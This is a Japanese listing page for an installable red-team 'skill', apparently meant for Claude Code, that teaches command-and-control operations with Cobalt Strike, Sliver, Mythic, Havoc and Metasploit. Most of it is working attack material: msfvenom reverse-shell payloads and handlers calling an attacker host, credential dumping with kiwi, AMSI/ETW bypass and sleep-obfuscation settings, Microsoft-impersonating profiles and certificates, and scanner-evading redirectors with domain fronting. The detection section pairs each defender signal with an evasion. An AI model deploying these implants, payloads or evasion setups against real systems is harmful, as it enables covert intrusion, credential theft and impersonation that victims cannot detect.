offensive-c2-frameworks について
レッドチーム担当者向けに、C2 フレームワーク、通信設定、リダイレクター基盤、運用上のセキュリティを扱うスキルです。Cobalt Strike、Sliver、Mythic、Havoc、Metasploitと検知上の考慮事項を解説します。
主な機能
- 01C2 フレームワークの概要
- 02インプラントの通信設定
- 03リダイレクター基盤の構成例
- 04DNS ベースの C2 設定
- 05TLS 証明書の考慮事項
- 06検知と OPSEC の指針
活用シーン
- 01演習で使う C2 フレームワークの比較
- 02主系・予備通信チャネルの計画
- 03C2 トラフィックと検知リスクの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-c2-frameworksインストール後、Claude Code で/offensive-c2-frameworksを入力して読み込まれたか確認します。
詳細
オフェンシブ C2 フレームワーク
コマンド&コントロールは、継続的なレッドチーム活動の基盤です。C2 フレームワークは、インプラントの通信、タスクの配布、侵害後の活動、ラテラルムーブメントの連携を管理します。適切なフレームワークの選択と設定、そしてその周囲に適切なインフラを構築することによって、作戦が最初の 48 時間を乗り切るか、初期アクセスから数分で発覚するかが決まります。
このスキルでは、プロフェッショナルなレッドチーム活動で使用する主要な C2 フレームワーク、オペレーションセキュリティを確保するための設定、バックエンドサーバーを保護するインフラパターン、検知されやすい作戦と耐性の高い作戦を分けるトレードクラフト上の判断について説明します。これらのツールのデプロイ方法だけでなく、最新の EDR やネットワーク監視に対して、特定の設定が重要となる理由も理解していることが求められます。
クイックワークフロー
- 活動におけるネットワーク上の制約を定義します。許可されている外向き通信プロトコル、プロキシ要件、監視体制を特定します。
- 対象環境の制限に基づいて、主な C2 フレームワークとトランスポートを選択します。
- インプラントとチームサーバーの間にリダイレクターインフラを構築します。チームサーバーを直接公開してはいけません。
- 対象組織の正規のトラフィックパターンを模倣するように、通信プロファイルを設定します。
- 適切なスリープ間隔、ジッター、有効期限を指定してインプラントを生成します。
- 異なるトランスポートとインフラを使用して、主な C2 チャネルとフォールバック用の C2 チャネルを確立します。
- 本番環境の対象に展開する前に、検知シグネチャに照らして C2 トラフィックを監視します。
Cobalt Strike
Cobalt Strike は、最も広く導入されている商用 C2 フレームワークです。Malleable C2 プロファイル、柔軟な Beacon、成熟した侵害後ツールキットが強みです。プロファイルのカスタマイズ、スリープ管理、BOF の実行により、ステルス性を高める設定が可能です。
Malleable C2 プロファイル
Malleable プロファイルでは、Beacon の通信方法(HTTP ヘッダー、URI パス、データエンコーディング、TLS パラメーター)を定義します。適切に作成されたプロファイルは、特定の正規アプリケーションを模倣します。
# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";
https-certificate {
set C "US";
set ST "Washington";
set L "Redmond";
set O "Microsoft Corporation";
set OU "Microsoft IT";
set CN "outlook.office365.com";
set validity "365";
}
http-get {
set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
prepend "<!DOCTYPE html><html><head></head><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/owa/service.svc";
set verb "POST";
client {
header "Content-Type" "application/json; charset=utf-8";
id {
base64url;
prepend "token=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
Beacon の種類とピボット
# Beacon types and their use cases:
# HTTP/HTTPS Beacon -- standard egress, most flexible
# DNS Beacon -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon -- bind/reverse TCP for internal pivoting
# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake
# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
# beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host
# Sleep and jitter configuration in Beacon
# beacon> sleep 300 45
# Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
# High sleep + high jitter = harder to detect via beaconing analysis
Beacon Object Files(BOF)
BOF は、新しいプロセスを起動せずに Beacon のメモリ内でコンパイル済みの C コードを直接実行します。これは、プロセスベースの検知を回避するうえで重要です。
/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"
void go(char *args, int alen) {
DWORD bufSize = 256;
char username[256];
char domain[256];
WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
if (ADVAPI32$GetUserNameA(username, &bufSize)) {
BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
}
}
# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o
# Key BOF repositories for red teams:
# - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
# - anthemtotheego/InlineWhispers (syscall-based BOFs)
# - rvrsh3ll/BOF_Collection (mixed utility BOFs)
Sliver
Sliver は、mTLS、WireGuard、HTTP(S)、DNS トランスポートをネイティブでサポートするオープンソースの C2 フレームワークです。マルチプレイヤー運用に対応しており、複数のオペレーターがチームサーバーを共有できます。
インプラントの生成
# Start Sliver server
./sliver-server
# Generate implants with different transports
# mTLS implant -- encrypted, mutual authentication
sliver > generate --mtls 10.10.14.5 --os windows --arch amd64 \
--name FINANCE-WS --skip-symbols --disable-sgn
# WireGuard implant -- encapsulated in WireGuard tunnel
sliver > generate --wg 10.10.14.5:53 --os windows --arch amd64 \
--name FINANCE-WG --skip-symbols
# DNS implant -- for highly restrictive networks
sliver > generate --dns c2.example.com --os windows --arch amd64 \
--name FINANCE-DNS --skip-symbols
# HTTP(S) implant with custom parameters
sliver > generate --http https://cdn.example.com --os windows --arch amd64 \
--name FINANCE-HTTPS --skip-symbols \
--seconds 60 --jitter 30
# Start matching listeners
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > wg --lport 53
sliver > dns --domains c2.example.com
sliver > https --domain cdn.example.com --lport 443
オペレーターのマルチプレイヤー運用と Armory
# Multiplayer: generate operator configs for team members
sliver > new-operator --name operator1 --lhost teamserver.internal
# Distribute the resulting .cfg file to operators
# Armory: install community extensions
sliver > armory install rubeus
sliver > armory install seatbelt
sliver > armory install sharp-hound-4
# Use extensions in a session
sliver (FINANCE-WS) > rubeus kerberoast
sliver (FINANCE-WS) > seatbelt -- -group=all
# Pivoting through Sliver
sliver (FINANCE-WS) > portfwd add --bind 127.0.0.1:9050 --remote 172.16.0.10:445
sliver (FINANCE-WS) > socks5 start
Mythic
Mythic は、ウェブベースの UI と、エージェント、C2 プロファイル、変換コンテナのためのプラグインアーキテクチャを備えたモジュール式 C2 プラットフォームです。対象 OS と機能要件に基づいてエージェントを選択します。
エージェントの選択とデプロイ
# Install Mythic
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/apollo
./mythic-cli install github https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/medusa
./mythic-cli install github https://github.com/MythicC2Profiles/http
# Start Mythic
./mythic-cli start
# Agent capabilities:
# Apollo -- Windows C# agent, inline .NET assembly, token manipulation
# Poseidon -- macOS/Linux Go agent, SSH spawning, keylogging
# Medusa -- Python agent, cross-platform, extensible
C2 プロファイルの設定
{
"name": "http_profile",
"is_p2p": false,
"parameters": [
{
"name": "callback_host",
"value": "https://cdn-static.example.com"
},
{
"name": "callback_port",
"value": 443
},
{
"name": "callback_interval",
"value": 60
},
{
"name": "callback_jitter",
"value": 37
},
{
"name": "headers",
"value": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml",
"Host": "cdn-static.example.com"
}
},
{
"name": "get_uri",
"value": "/api/v1/content"
},
{
"name": "post_uri",
"value": "/api/v1/telemetry"
}
]
}
Havoc
Havoc は、スリープの難読化、間接システムコール、ハードウェアブレークポイントを利用した AMSI/ETW バイパスなど、高度な回避機能を備えた Demon エージェントを特徴とする、最新の C2 フレームワークです。
Demon エージェントの設定
# Havoc teamserver configuration -- havoc.yaotl
Teamserver:
Host: "0.0.0.0"
Port: 40056
Build:
Compiler64: "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm: "/usr/bin/nasm"
Operators:
- Name: "operator1"
Password: "Sup3rS3cure!"
Listeners:
- Name: "HTTPS-Primary"
Protocol: "Https"
Host: "10.10.14.5"
Port: 443
Secure: true
Uris:
- "/api/v2/session"
- "/api/v2/health"
- "/api/v2/telemetry"
Headers:
- "Content-Type: application/json"
- "Server: nginx/1.24.0"
- "X-Request-Id: "
スリープの難読化と回避
# Demon sleep obfuscation techniques:
# Ekko -- timer-queue based, encrypts Beacon in memory during sleep
# Zilean -- similar approach using undocumented APIs
# Foliage -- APC-based sleep obfuscation
# Demon agent generation options:
# - Indirect syscalls: bypass user-mode hooks by resolving syscall numbers dynamically
# - Sleep mask: encrypt agent memory during sleep to evade memory scanners
# - Stack spoofing: manipulate return addresses to hide call origin
# - AMSI/ETW patching: hardware breakpoints avoid in-memory patching detection
# In the Havoc UI:
# Payload > Generate > Demon
# Sleep Technique: Ekko
# Indirect Syscalls: Enabled
# Sleep Mask: Enabled
# AMSI/ETW Bypass: Hardware Breakpoints
# Sleep: 60
# Jitter: 40
Metasploit Framework
Metasploit は、ペイロードの生成、初期アクセスの悪用、商用ツールを利用できない環境において、今も不可欠です。ペイロードの生成には msfvenom を使用し、コールバックの受信には multi/handler を使用します。
msfvenom によるペイロード生成
# Staged vs Stageless:
# Staged (windows/meterpreter/reverse_https) -- small initial payload, downloads stage
# Stageless (windows/meterpreter_reverse_https) -- full payload, no staging handshake
# Windows stageless HTTPS Meterpreter
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 \
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
StagerVerifySSLCert=true \
HandlerSSLCert=/opt/certs/c2.pem \
-f exe -o payload.exe
# C# shellcode for custom loaders
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 \
-f csharp -o shellcode.cs
# Linux ELF payload
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f elf -o payload.elf
# macOS Mach-O payload
msfvenom -p osx/x64/meterpreter_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f macho -o payload.macho
Multi/Handler の設定
# Resource script: handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
set HandlerSSLCert /opt/certs/c2.pem
set StagerVerifySSLCert true
set SessionCommunicationTimeout 600
set ExitOnSession false
set EnableStageEncoding true
set AutoRunScript "post/windows/manage/migrate"
run -j
# Launch with resource script
# msfconsole -r handler.rc
# Post-exploitation essentials in Meterpreter
# meterpreter> getuid
# meterpreter> sysinfo
# meterpreter> migrate -N explorer.exe
# meterpreter> load kiwi
# meterpreter> creds_all
# meterpreter> portfwd add -l 9050 -p 445 -r 172.16.0.10
# meterpreter> run post/multi/manage/autoroute
# meterpreter> background
# msf6> use auxiliary/server/socks_proxy
# msf6> run
リダイレクターインフラ
チームサーバーを対象ネットワークに直接公開してはいけません。リダイレクターはインプラントと C2 サーバーの間に配置され、スキャンを受け止めるとともに、使い捨て可能なフロントエンドインフラを提供します。
Apache mod_rewrite リダイレクター
# /etc/apache2/sites-enabled/redirector.conf
# Redirect valid C2 traffic to team server, send everything else to a decoy
<VirtualHost *:443>
ServerName cdn-static.example.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/cdn-static.example.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/cdn-static.example.com/privkey.pem
RewriteEngine On
# Block common scanners and researchers
RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|scanner|nikto|nmap) [NC]
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
# Require correct URI paths matching your C2 profile
RewriteCond %{REQUEST_URI} ^/owa/auth/logon\.aspx$ [OR]
RewriteCond %{REQUEST_URI} ^/owa/service\.svc$ [OR]
RewriteCond %{REQUEST_URI} ^/autodiscover/autodiscover\.xml$
RewriteRule ^.*$ https://teamserver.internal:443%{REQUEST_URI} [P,L]
# Everything else goes to a legitimate-looking decoy
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
ProxyPassReverse / https://teamserver.internal:443/
</VirtualHost>
CDN フロンティングとドメイン借用
# Domain fronting: use a CDN where the Host header routes to your backend
# The outer TLS SNI shows a legitimate domain; the inner Host header reaches your C2
# Example with a CDN:
# 1. Register your backend with the CDN (e.g., cdn-12345.example-cdn.net)
# 2. In your C2 profile, set Host header to your CDN endpoint
# 3. Implants connect to a high-reputation CDN IP
# 4. Network monitors see traffic to the CDN, not your server
# Malleable profile snippet for CDN fronting
http-get {
set uri "/content/static/js/app.js";
client {
header "Host" "your-tenant.cdn-provider.net";
header "Accept" "*/*";
}
}
# Domain borrowing: use an abandoned or unmonitored subdomain
# on a trusted domain that points to infrastructure you control
# Requires finding dangling CNAME or A records
DNS ベースの C2
DNS C2 はポート 53 を使用し、多くの場合、ファイアウォールの制限を回避します。その代わり、帯域幅は低くなります。DNS チャネルは低速ですが、耐障害性に優れています。
# DNS C2 infrastructure setup
# 1. Register a domain: c2ops.example.com
# 2. Create NS records pointing a subdomain to your team server
# dns.c2ops.example.com NS ns1.c2ops.example.com
# ns1.c2ops.example.com A <team-server-ip>
# 3. Configure Cobalt Strike DNS listener
# Listeners > Add > Beacon DNS
# DNS Hosts: dns.c2ops.example.com
# DNS Port (Bind): 53
# 4. Sliver DNS listener
# sliver > dns --domains dns.c2ops.example.com --lport 53
# Verify DNS resolution reaches your server
dig A test.dns.c2ops.example.com @8.8.8.8
# If your team server receives the query, DNS C2 will function
# DNS over HTTPS (DoH) for the implant's DNS resolution
# prevents local DNS logging while maintaining DNS-based C2 transport
証明書の管理
C2 インフラストラクチャ上の TLS 証明書は、OPSEC とインプラントの信頼性検証の両方に影響します。
# Let's Encrypt for legitimate-looking certificates
certbot certonly --standalone -d cdn-static.example.com \
--agree-tos --email [email protected]
# Self-signed with matching metadata for internal redirectors
openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \
-keyout c2.key -out c2.crt -nodes \
-subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=outlook.office365.com" \
-addext "subjectAltName=DNS:outlook.office365.com,DNS:*.office365.com"
# PKCS12 bundle for Cobalt Strike
openssl pkcs12 -export -in c2.crt -inkey c2.key -out c2.p12 \
-name "outlook.office365.com" -passout pass:changeit
# Import into Cobalt Strike keystore
keytool -importkeystore -srckeystore c2.p12 -srcstoretype PKCS12 \
-destkeystore c2.store -deststoretype JKS \
-srcstorepass changeit -deststorepass changeit
# Certificate pinning in implants prevents MitM from security appliances
# Cobalt Strike: set trust_x509_c2 in malleable profile
# Sliver: mTLS provides mutual authentication by default
検出/防御側の視点
ネットワーク防御担当者や脅威ハンターは、複数のレイヤーで C2 を標的にします。
- JA3/JA3S フィンガープリンティング:TLS クライアントおよびサーバーの Hello フィンガープリントから、C2 フレームワークを特定できます。Cobalt Strike のデフォルトの Java TLS スタックには、特徴的な JA3 ハッシュがあります。対策:カスタム TLS スタックを使用するか、CDN フロントングを利用して CDN の JA3S を引き継ぎます。
- ビーコン分析:ジッターがあっても、コールバック間隔が規則的だと統計的なパターンが生じます。ネットワーク検出ツール(Rita、Zeek)は、接続メタデータの頻度分析を行います。対策:大きなジッター(40%以上)、可変のスリープ時間、対話時のみのコールバックを使用します。
- HTTP プロファイルのシグネチャ:デフォルトの Malleable プロファイルには公開済みのシグネチャがあります。防御側は、脅威インテリジェンスで共有されているプロファイル設定から侵害指標を抽出します。対策:カスタムプロファイルを作成し、公開テンプレートを避け、c2lint を使って既知のシグネチャセットと照合します。
- DNS トンネリングの検出:単一ドメインへのクエリ数が多く、サブドメインラベルのエントロピーが高い場合、DNS C2 の兆候となります。対策:DNS コールバックをレート制限し、短いラベルを使用し、正規の名前解決に混在させます。
- メモリスキャン:EDR エージェントは、既知の C2 フレームワークの文字列、リフレクティブローダーのスタブ、シェルコードのパターンを求めてプロセスメモリをスキャンします。対策:スリープ難読化、メモリ内暗号化、fork-and-run の代わりに BOF を使用します。
- 証明書の異常:自己署名証明書、ドメインのメタデータと一致しない証明書、または有効期間の短い証明書はアラートの原因になります。対策:Let's Encrypt を利用して、正規の認証局が発行した証明書を使用します。
- 名前付きパイプの監視:Sysmon EventID 17/18 は、名前付きパイプの作成と接続を記録し、SMB Beacon によるピボットを明らかにします。対策:正規の Windows サービスを模倣したパイプ名を使用します。
エンゲージメント用チートシート
| フレームワーク | 主なトランスポート | ステルス機能 | 最適なユースケース | MITRE ID |
|---|---|---|---|---|
| Cobalt Strike | HTTPS/DNS/SMB | Malleable プロファイル、BOF | 全範囲のレッドチーム演習 | T1071.001 |
| Sliver | mTLS/WireGuard/DNS | マルチプレイヤー、アーモリー | CS のオープンソース代替 | T1573.002 |
| Mythic | HTTP(S) | モジュール式エージェント/プロファイル | カスタムエージェントの要件 | T1071.001 |
| Havoc | HTTPS | Ekko スリープ、間接システムコール | EDR の監視が厳しい環境 | T1573.001 |
| Metasploit | HTTPS/TCP | 広範なモジュールライブラリー | 初期アクセス、CTF、ラボ作業 | T1071.001 |
| インフラストラクチャ | 目的 | 主な設定 |
|---|---|---|
| Apache リダイレクター | スキャナーから C2 を隠す | プロファイルに一致する mod_rewrite ルール |
| CDN フロントング | 信頼されたドメインの背後に C2 を隠す | ホストヘッダーによるバックエンドへのルーティング |
| DNS C2 | ファイアウォールの制限を回避 | チームサーバーへの NS 委任 |
| TLS 証明書 | 証明書ベースのアラートを回避 | Let's Encrypt またはメタデータを一致させた証明書 |
主要な参考資料
- MITRE ATT&CK T1071 - アプリケーション層プロトコル:https://attack.mitre.org/techniques/T1071/
- MITRE ATT&CK T1573 - 暗号化チャネル:https://attack.mitre.org/techniques/T1573/
- MITRE ATT&CK T1090 - プロキシ:https://attack.mitre.org/techniques/T1090/
- Cobalt Strike ドキュメント:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/
- Sliver C2 Wiki:https://github.com/BishopFox/sliver/wiki
- Mythic ドキュメント:https://docs.mythic-c2.net/
- Havoc フレームワーク:https://github.com/HavocFramework/Havoc
- Metasploit フレームワーク:https://docs.metasploit.com/
- Red Team インフラストラクチャ Wiki:https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
- Malleable C2 プロファイル集:https://github.com/threatexpress/malleable-c2
- RITA(Real Intelligence Threat Analytics):https://github.com/activecm/rita